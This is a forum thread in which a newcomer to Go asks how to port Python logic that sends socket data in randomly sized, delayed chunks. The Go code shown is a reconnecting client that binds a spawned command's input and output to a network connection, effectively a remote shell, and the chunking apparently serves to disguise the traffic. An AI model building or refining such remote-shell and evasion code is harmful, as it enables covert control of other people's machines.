How do I implement this logic in golang?

I have a proxy written in python with some logic that I would like to implement in a golang tool of mine, but I don’t really know how to do it.

It splits the data sent via socket (stdout) in small chunks, with a delay between each other

I have a variable which gets a random number from a list:

....
 listbytes = [87, 88, 89, 90]
....

I have also a function which splits in small chunk of bytes(n) the data(lst):

............
def chunks(lst, n):

    "Yield successive chunks from lst, where n is a list of possible sizes"

    i = 0

    while i < len(lst):

        k = min(random.choice(n), len(lst) - i)

        yield lst[i:i + k]

        i += k
.............

Both things are executed this way:

...
# get the data

            data = s.recv(BUFFER_SIZE)

 

            if s == s_src:

                d = LOCAL_DATA_HANDLER(data)

                for chunk in chunks(d, listbytes): 

#sleep 1.6 seconds before sending the next chunk of data

                    time.sleep(1.6)

#send the chunked data

                    s_dst.send(bytes(chunk) )

...

How do I implement the exact same logic illustrated here?

func (nObj NetObject) RunClient(cmd string) {

    // Try connection

    for {

        conn, err := net.Dial(nObj.Type, nObj.Service)

        fmt.Print("connect")

//        msg := "status"

        if err != nil {

            fmt.Println("fail")

        } 

        if err == nil {

            fmt.Println("ok")

//            defer conn.Close()

            defer conn.Close()

            log.Println("Connected to", conn.RemoteAddr())

            handleConn(conn, cmd)

            //handleConn(conn, cmd)

            fmt.Println("After handle")

                    } 

        fmt.Println("Before sleep")

        time.Sleep(5 * time.Second)

    }

}
// Manage connection for different behavior
func handleConn(conn net.Conn, binPath string) {

        msg := "Status?\n"

       	    if binPath != "" {
		// Execute command and send Standard I/O net.Conn
		cmd := exec.Command(binPath)
		cmd.Stdin = conn
		cmd.Stdout = conn
		cmd.Stderr = conn
		cmd.Run()
                fmt.Println("Disconnected!?")
                time.Sleep(5 * time.Second)
                pippo, err2 := conn.Write([]byte(msg))
                if err2 != nil {
                       fmt.Println(pippo)
                }


              

	    } else {
		// Copy Standard I/O in a net.Conn
		go io.Copy(os.Stderr, conn)
		go io.Copy(os.Stdout, conn)
		io.Copy(conn, os.Stdin)

	    }
}

In python it was straightforward to implement and it works like a charm.
The tool picks a random number from listbytes every time it generates a chunk

prooff
proof2

I’m just looking for a pro ( a saint ahaha ) with some patience that provides an example of code of how it should look like to work as I wish it does.

I do not expect do make it work in first place, its almost impossible, but we all know, with some errors you get the solution before or after(:

In this case I don’t really know where to start and how to do it ( im a newbie in golang )
Can you help me please?

maybe you mean data, _ := cmd.Output()?

Thanks for your answer!
The problem was that io.Writer it’s not a string; so i can’t take len of it, nor I can you slice it.
I had to create a create a bytes.buffer:

        buf := new(bytes.Buffer)
        cmd.Stdout = buf 

Now I have to convert *bytes.Buffer to []byte, which is revealing a pain ahah

1 Like

When the client connects to the server, I don’t get the Stdout… ( this thing makes me crazy ahah )
Of any input I sent from the server ( commands ), I don’t the output.
What am I missing here?

		cmd := exec.Command(binPath) 							
		cmd.Stdin = conn
                // original one----
//		cmd.Stdout = conn
               
                buf := new(bytes.Buffer)
                cmd.Stdout = buf

                for {

                    test := split(buf.Bytes(), 100)
                    last := make([]byte, len(test))
                    fmt.Println(last)
                    time.Sleep(1 * time.Second)
                    ok, err0 := conn.Write(last)    
                    if err0  != nil {
                        fmt.Println(ok)
                    
                    }
                 }

		cmd.Stderr = conn
		cmd.Run()

This is the split function:

func split(buf []byte, lim int) [][]byte {
	var chunk []byte
	chunks := make([][]byte, 0, len(buf)/lim+1)
	for len(buf) >= lim {
		chunk, buf = buf[:lim], buf[lim:]
		chunks = append(chunks, chunk)
	}
	if len(buf) > 0 {
		chunks = append(chunks, buf[:len(buf)])
	}
	return chunks
}

my guess is, that when you read your stdout. cmd wasn’t executed yet, so its stdout is empty yet. maybe you need to put for-loop after cmd.Run() call…

This topic was automatically closed 90 days after the last reply. New replies are no longer allowed.